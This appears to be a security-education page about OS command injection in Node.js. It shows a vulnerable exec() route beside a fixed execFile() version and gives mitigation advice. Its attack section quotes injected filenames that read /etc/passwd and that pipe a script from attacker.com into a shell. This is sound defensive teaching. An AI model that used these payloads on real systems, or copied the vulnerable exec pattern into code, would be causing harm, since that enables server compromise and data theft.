criticalCode Injection

OS Command Injection

What Is This Vulnerability?

Command injection happens when an application passes user-controlled data to a system shell without proper sanitization. Attackers can append additional shell commands using characters like semicolons, pipes, or backticks, effectively gaining the ability to run arbitrary commands on the server with the application's privileges.

Why It Happens

Developers sometimes use child_process.exec or similar shell-invoking functions to perform tasks like image processing, file conversion, or system diagnostics. When user input is interpolated directly into the command string, the shell interprets special characters as command separators, allowing injection.

Example Code

Vulnerableroutes/convert.ts
import { exec } from "child_process";

app.post("/convert", (req, res) => {
  const { filename } = req.body;
  exec(`convert ${filename} output.png`, (err, stdout) => {
    if (err) return res.status(500).send("Conversion failed");
    res.send("Done");
  });
});
Fixedroutes/convert.ts
import { execFile } from "child_process";
import path from "path";

app.post("/convert", (req, res) => {
  const { filename } = req.body;
  const safeName = path.basename(filename);
  execFile("convert", [safeName, "output.png"], (err, stdout) => {
    if (err) return res.status(500).send("Conversion failed");
    res.send("Done");
  });
});

How Hackers Exploit It

An attacker submits a filename like image.jpg; cat /etc/passwd or image.jpg && curl attacker.com/shell.sh | sh. The shell interprets the semicolon or double ampersand as a command separator and executes the injected command. This can lead to full server compromise, data exfiltration, or installation of backdoors.

How to Fix It

Replace exec with execFile or spawn, which pass arguments as an array and do not invoke a shell. Validate and sanitize all user input, restricting filenames to alphanumeric characters and expected extensions. Use path.basename() to strip directory components. Run the application with minimal OS permissions and consider sandboxing with containers.

Frequently Asked Questions

What is the difference between exec and execFile in Node.js?
exec runs the command through a shell (/bin/sh), which interprets special characters and allows chaining. execFile runs the executable directly with an argument array, bypassing the shell entirely. This makes execFile immune to shell injection attacks.
Can command injection happen in serverless functions?
Yes. Serverless functions like AWS Lambda still have a runtime environment with a shell. If your function uses exec with user input, it is just as vulnerable as a traditional server. The same mitigations apply.
Is input validation enough to prevent command injection?
Input validation helps but is not reliable as the sole defense. Shell metacharacters vary across operating systems, and blocklists are easy to bypass. Using execFile or spawn with argument arrays is the primary prevention measure.

Related Security Topics

Check Your Code for This Vulnerability

Run a free scan to check if your site is affected by os command injection.